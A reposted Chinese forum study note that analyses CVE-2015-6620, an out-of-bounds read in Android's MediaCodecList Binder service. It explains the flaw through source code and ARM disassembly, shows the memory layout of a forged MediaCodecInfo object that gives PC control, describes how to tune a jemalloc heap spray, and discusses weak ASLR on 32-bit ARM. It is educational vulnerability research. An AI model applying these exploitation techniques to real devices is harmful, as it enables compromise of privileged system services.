cve-2015-6620學習總結
前言
想學習下android漏洞方面的知識,搜了下發現Flanker Edward在知乎上有個回答,提到了binder的經典漏洞cve-2015-6620,所以就從這個漏洞開始學習。作者提供了poc以及文件,這篇筆記主要記錄下學習中遇到的問題,以及自己的一些理解。
環境搭建與基礎知識
第一次除錯android漏洞,搭建環境花了些力氣,主要有如下環境,推薦安裝pead-arm和shadow這兩個gdb外掛。
android原始碼環境:Ubuntu16.04 android_6.0.0_r1
gdb除錯環境搭建
peda-arm安裝,除錯介面更加方便
shadow安裝,方便除錯jemalloc
這是android平臺上的binder方面的漏洞,所以涉及一些android底層的知識需要學習下。
binder
智慧指標
漏洞成因
cve-2015-6620包含兩個漏洞,編號分別為24123723和24445127。主要分析的是24445127 MediaCodecInfo越界訪問,因為這個漏洞可以利用的點更多些。漏洞存在於MediaCodcList服務。該Binder服務提供了一個getCodecInfo的功能,存在漏洞的程式碼如下:
//http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54
status_t BnMediaCodecList::onTransact(
uint32_t code, const Parcel& data, Parcel*reply, uint32_t flags)
{
switch (code) {
case GET_CODEC_INFO:
{
CHECK_INTERFACE(IMediaCodecList, data, reply);
size_t index=static_cast<size_t>(data.readInt32());
const sp<MediaCodecInfo> info=getCodecInfo(index);//呼叫服務端的實現
if(info !=NULL) {
reply->writeInt32(OK);
info->writeToParcel(reply);
}else{
reply->writeInt32(-ERANGE);
}
returnNO_ERROR;
}
break;
從Parce中讀取從客戶端傳來的索引index,然後呼叫在服務端的實現的getCodecInfo。看下在MediaCodecList中實現的getCodecInfo
//http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49
struct MediaCodecList : public BnMediaCodecList {
Vector<sp<MediaCodecInfo> > mCodecInfos;
virtual sp<MediaCodecInfo> getCodecInfo(size_t index) const {
returnmCodecInfos.itemAt(index); //未進行任何邊界檢查
}
}
可以看到直接呼叫了vector的itemAt函式,並未進行任何邊界檢查。而index是我們作為客戶端程式可以控制的,這個地方就存在一個越界訪問的漏洞。
漏洞利用
根據漏洞的成因,我們現在有這樣一個能力:可以越界訪問Binder服務所在程式中的一個vector<sp<MediaCodecInfo>>,但是隻能讀取不能寫入。漏洞的作者利用這樣一種能力可以實現任意地址讀取和pc暫存器的控制,很是神奇。主要分析下pc控制的原理。在分析poc原理前,需要了解相關物件在記憶體的佈局,如下圖所示:
pc control poc原理分析
一個越界讀可以造成pc的控制,關鍵在於getCodecInfo的呼叫: const sp\<MediaCodecInfo\> info = getCodecInfo(index);
//sp 拷貝建構函式
template<typename T>
sp<T>::sp(const sp<T>& other)
: m_ptr(other.m_ptr)
{
if(m_ptr) m_ptr->incStrong(this);
}
上面的程式碼是用getCodecInfo函式的返回新建了一個info物件,這就會呼叫info的拷貝建構函式。info的型別為sp,sp的拷貝建構函式如上所示。可以看看getCodecInfo的彙編版本,像這樣返回物件的函式,一般會把R0指向返回物件儲存的地址。
//libstagefright.so
.text:000A9478; android::sp<android::MediaCodecInfo> __usercall android::MediaCodecList::getCodecInfo@<R0>(const android::MediaCodecList*this@<R1>, size_t index@<R2>)
.text:000A9478return_obj=R0 ;儲存的就是上面info的地址
.text:000A9478this=R1 ; const android::MediaCodecList*
.text:000A9478index=R2 ; size_t
.text:000A9478 PUSH.W {R11,LR}
.text:000A947C MOV R3, R0
.text:000A947E LDR R0, [this,#0x5C]
.text:000A9480 LDR.W R0, [R0,index,LSL#2] ; 這裡可以越界讀取
.text:000A9484 STR R0, [R3]; 設定info.m_prt
.text:000A9486 CMP R0,#0
.text:000A9488 ITT NE
.text:000A948A MOVNE this, R3 ; 呼叫info的拷貝建構函式,因為inline優化直接呼叫了(info.m_ptr)->incStrong()
.text:000A948C BLXNE _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*)
.text:000A9490 POP.W {R11,PC}
.text:000A9490; End of function android::MediaCodecList::getCodecInfo(uint)
可以看到會將vector的內容讀取到R0中,如果R0不為零,會呼叫incStrong, 程式碼如下:
//http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322
void RefBase::incStrong(const void*id) const
{
weakref_impl*const refs=mRefs;
refs->incWeak(id);
refs->addStrongRef(id);
const int32_t c=android_atomic_inc(&refs->mStrong);
ALOG_ASSERT(c >0,"incStrong() called on %p after last strong ref", refs);
#if PRINT_REFS
ALOGD("incStrong of %p from %p: cnt=%d\n", this,id, c);
#endif
if(c !=INITIAL_STRONG_VALUE) {
return;
}
android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong);
refs->mBase->onFirstRef();//這裡有虛擬函式的呼叫
}
彙編程式碼版本,可以清楚看到存在虛擬函式的呼叫:
//libutils.so
.text:0000E6BE; void __fastcall android::RefBase::incStrong(const android::RefBase*const this, const void*id)
.text:0000E6BE EXPORT _ZNK7android7RefBase9incStrongEPKv
.text:0000E6BE
.text:0000E6BEthis=R0 ; const android::RefBase*const
.text:0000E6BEid=R1 ; const void*
.text:0000E6BE PUSH {R4,LR}
.text:0000E6C0 LDR R4, [this,#4] ;this存放的就是越界讀取的內容
.text:0000E6C2refs=R4 ; android::RefBase::weakref_impl*const
.text:0000E6C2 MOV this, refs ; this
.text:0000E6C4 BLX j__ZN7android7RefBase12weakref_type7incWeakEPKv ;
.text:0000E6C8 DMB.W SY
.text:0000E6CC LDREX.W R3, [refs]
.text:0000E6D0 ADDS R2, R3,#1
.text:0000E6D2 STREX.W R1, R2, [refs]
.text:0000E6D6 CMP R1,#0
.text:0000E6D8 BNE loc_E6CC
.text:0000E6DA CMP.W R3,#0x10000000
.text:0000E6DE BNE locret_E700
.text:0000E6E0 DMB.W SY
.text:0000E6E4 LDREX.W R0, [refs]
.text:0000E6E8 ADD.W R12, R0,#0xF0000000
.text:0000E6EC STREX.W R3, R12, [refs]
.text:0000E6F0 CMP R3,#0
.text:0000E6F2 BNE loc_E6E4
.text:0000E6F4 LDR R0, [refs,#8]
.text:0000E6F6 LDR refs, [R0] ; vtable
.text:0000E6F8 LDR R2, [R4,#8] ; 可以通過這裡控制pc
.text:0000E6FA POP.W {R4,LR}
.text:0000E6FE BX R2
梳理一下就是,越界讀取的內容放入R0,然後進行如下操作:
refs=[R0+4]
if([refs]==0x10000000)
mbase=[refs+8]
vtable=[mbase]
call [vtable+8]
也就是說如果我們在記憶體中偽造了合適的MeidaCodecInfo,並且將指向該偽造的MediaCodecInfo的指標放入vector<sp<MediaCodecInfo>>儲存區的後面,這樣我們就可以通過越界訪問,讀取到指向該偽造的MediaCodecInfo的指標,進而控制pc。我們可以在記憶體中偽造如下的MediaCodecInfo:
//BASEADDR 為假MediaCodecInfo的起始地址
*(BASEADDR)=vtale;//設定MediaCodecInfo vtable 隨便填寫
*((unsignedint*)BASEADDR+1)=BASEADDR+12; //mRefs, 使他指向BASEADDR+12
*((unsignedint*)BASEADDR+3)=0x10000000; //mRefs指向此處,即虛假的info->mRefs的起始地址
*((unsignedint*)BASEADDR+5)=BASEADDR+0x20; //info->mRefs->mBase欄位,使他指向BASEADDR+0x20
*((unsignedint*)BASEADDR+8)=BASEADDR+0x20+4; //mBase的vtable欄位,使他指向BASEADDR+0x20+4
*((unsignedint*)BASEADDR+11)=0x61616161; //vtable+8, 我們可以在此處放置目標pc
最終poc執行成功,mediaserver執行到我們指定的位置:0x61616161
堆噴射的問題
要成功的執行poc實現漏洞利用的目的,要進行兩次堆噴射,第一次是將我們偽造的MediaCodecInfo噴射到記憶體中,第二次是將我們偽造的MediaCodecInfo的地址噴射到vector<sp<MediaCodecInfo>>的儲存區的後面,這樣可以通過越界讀取,來觸發漏洞。
但是遇到了如下問題:
1.作者的poc中,硬編碼了一個地址0xb3003010,就是在作者的測試機器上,作者噴射的偽造的MediaCodecInfo有很大概率會落在這個地址上。作者說之所以是0xb3003010而不是0xb3003000是因為資料前面還有0x10位元組的後設資料,但是我們知道jemalloc中存放資料的region和run都不包含後設資料,那麼這個後設資料是哪裡來的?
先看下是如何堆噴射的,作者使用IDrm.provideKeyResponse進行堆噴射的,服務端在拿到response後,最終會呼叫Session.provideKeyResponse處理:
typedef android::KeyedVector<android::Vector<uint8_t>,
android::Vector<uint8_t> > KeyMap;
status_t Session::provideKeyResponse(const Vector<uint8_t>& response) {
String8 responseString(
reinterpret_cast<const char*>(response.array()), response.size());
KeyMap keys;
Mutex::Autolock lock(mMapLock);
JsonWebKey parser;
if(parser.extractKeysFromJsonWebKeySet(responseString, &keys)) {
for(size_t i=0; i < keys.size();++i) {
const KeyMap::key_type& keyId=keys.keyAt(i);
const KeyMap::value_type& key=keys.valueAt(i);
mKeyMap.add(keyId, key); //在這裡會將payload儲存到堆
}
returnandroid::OK;
}else{
returnandroid::ERROR_DRM_UNKNOWN;
}
}
可以發現噴射的資料最終是儲存在android::Vector中的,通過檢視原始碼發現:android::Vector的資料是儲存在SharedBuffer中的。0x10位元組儲存的就是SharedBuffer的私有變數
int32_t mRefs;
size_t mSize;
uint32_t mReserved[2];
2.第一次堆噴射需要將指向偽造的MediaCodecInfo的指標噴射到vector<sp<MediaCodecInfo>>的儲存區的後方,但是我在執行作者poc的時候,越界讀取很少可以命中,所以就想如何可以提高命中率。
作者的方法是:vector的儲存區肯定是jemalloc分配的,肯定是落在某個大小的region內,所以作者首先計算出這個大小,然後後面堆噴射時,噴射出大量相同大小的region,這樣後面越界讀取就有很大概率命中。所以關鍵是如下步驟:
計算vector<sp<MediaCodecInfo>>的儲存區所在region大小
確保堆噴射時,分配的是相同大小的region
通過除錯發現vector<sp<MediaCodecInfo>>的儲存區所在region大小和作者中poc給的一致,但是在除錯時發現噴射的payload並沒有落在大小為160的region內,而是在0x100的region內。
原因就是payload在mediaserver中是儲存在Vector中的,Vector在分配空間時會多分配一些,所以大小為160的payload,最終會放置在大小大於160的region中,通過除錯,我把payload大小改為96就可以保證分配在160的region中。
修改後,執行poc後,記憶體佈局如下圖所示:
3.作者並未說明是如何找到0xb3003010這個地址的,存在這樣一個地址的依據是什麼呢?
查了一些關於android堆噴射的資料,都提到jemalloc相比之前的dlmalloc更脆弱些,具體表現在如下方面:
堆地址中的熵較少
很容易猜測到資料位置
儲存資料的region中沒有後設資料
dlmalloc會檢查後設資料的合法性
上面的堆地址熵較小表現在:32位ARM系統上的ASLR演算法的實現很簡單,ASLR會將所有的模組隨機向下移動幾頁,範圍在0~255頁,程式碼如下,mmap_rnd_bits可以通過/proc/sys/vm/mmap_rnd_bits 來改變。
//kernel/arch/arm/mm/mmap.c
static unsignedlongmmap_base(unsignedlongrnd)
{
unsignedlonggap=rlimit(RLIMIT_STACK);
if(gap < MIN_GAP)
gap=MIN_GAP;
elseif(gap > MAX_GAP)
gap=MAX_GAP;
returnPAGE_ALIGN(TASK_SIZE-gap-rnd);
}
void arch_pick_mmap_layout(struct mm_struct*mm)
{
unsignedlongrandom_factor=0UL;
if((current->flags & PF_RANDOMIZE) &&
!(current->personality & ADDR_NO_RANDOMIZE))
//隨機出向下移動幾頁
random_factor=(get_random_long() & ((1UL<< mmap_rnd_bits)-1)) << PAGE_SHIFT;
if(mmap_is_legacy()) {
mm->mmap_base=TASK_UNMAPPED_BASE+random_factor;
mm->get_unmapped_area=arch_get_unmapped_area;
}else{
mm->mmap_base=mmap_base(random_factor);
mm->get_unmapped_area=arch_get_unmapped_area_topdown;
}
}
可以看到隨機移動的範圍不大,而程式的各個模組在大範圍的是相對固定的,比如在我的機器上,堆分配的空間基本落在0xaf000000 - 0xb6000000 之間,當分配的記憶體遠大於255頁時,就基本可以找到一個穩定的地址來放置payload,可以粗略計算下:
作者構造的payload在binder服務端,最終是儲存在Vector中的,Vector會多分配一些空間。在我的機器上最終分配的空間大小為6144位元組,放在大小為0x1800的region內,都是放在大小為0x3000的run內,每個run可以放置兩個這樣的region,並且run是頁對齊的。也就是說分配兩次payload就佔用了3頁大小空間,作者的poc一共分配了0x1200次,理論講會一共分配了6912頁,當然實際中會存在回收後再利用的情況,在我的機器上實際上分配了3000多頁,這是遠遠大於隨機移動的0~255頁。所以可以找到這樣一個相對穩定的地址。
總結
作者並沒有給出explicit,但是提到可以用 CVE-2015-1528 exp的思路,後續會繼續學習下這個思路,有成果了就補上。小弟剛開始學習漏洞這塊,有錯誤懇請大佬們指正。
學習資料
漏洞作者給的文件以及poc: https://github.com/flankerhqd/mediacodecoob
adb+gdb : https://wladimir-tm4pda.github.io/porting/debugging_gdb.html
binder學習:https://blog.csdn.net/universus/article/details/6211589
jemalloc: https://blog.csdn.net/koozxcv/article/details/50973217
shadow jemalloc 除錯: https://blog.csdn.net/hl09083253cy/article/details/79147625
shadow 安裝:https://github.com/CENSUS/shadow
heap fengshui: https://bbs.pediy.com/thread-55879.htm
ASLR:http://drops.xmd5.com/static/drops/papers-14181.html
原文連結:https://bbs.pediy.com/thread-226699.htm
本文由看雪論壇 glider菜鳥 原創
轉載請註明來自看雪社群
相關文章
- 學習總結2024-08-04
- ConstraintLayout 學習總結2019-03-04AI
- BOM學習總結2018-12-10
- tkinter學習總結2019-04-05
- vue學習總結2019-04-12Vue
- HSF學習總結2018-10-12
- ElasticSearch 學習總結2018-09-06Elasticsearch
- Storm學習總結2018-07-11ORM
- vue 學習總結2018-08-13Vue
- lua 學習總結2018-08-28
- Angularjs 學習總結2018-07-15AngularJS
- WebRTC學習總結2018-06-25Web
- GCD 學習總結2018-06-13GC
- CompletableFuture學習總結2024-05-09
- awk 學習總結2019-12-10
- MyBatis 學習總結2020-05-20MyBatis
- Maven學習總結2020-08-19Maven
- Ajax學習總結2020-09-30
- JVM學習總結2020-11-01JVM
- mysqlimport學習總結2020-03-30MySqlImport
- WorkFlow學習總結2019-07-05
- JNI 學習總結2019-05-25
- SVG學習總結2019-05-04SVG
- HTML學習總結2019-02-10HTML
- Mybatis學習總結2019-02-13MyBatis
- JavaWeb學習總結2018-12-20JavaWeb
- KUDU學習總結2024-06-25
- pandas 學習總結2018-04-02
- fetch學習總結2018-04-03
- MYSQL學習總結2024-07-30MySql
- 近期學習總結2024-07-05
- 【TS】學習總結2021-08-24
- SpringCloud 學習總結2021-09-21SpringGCCloud
- Kafka 總結學習2021-06-26Kafka
- Typescript學習總結2021-06-26TypeScript
- redis學習總結2021-01-14Redis
- Oracle學習總結2020-11-30Oracle
- python學習總結2020-12-25Python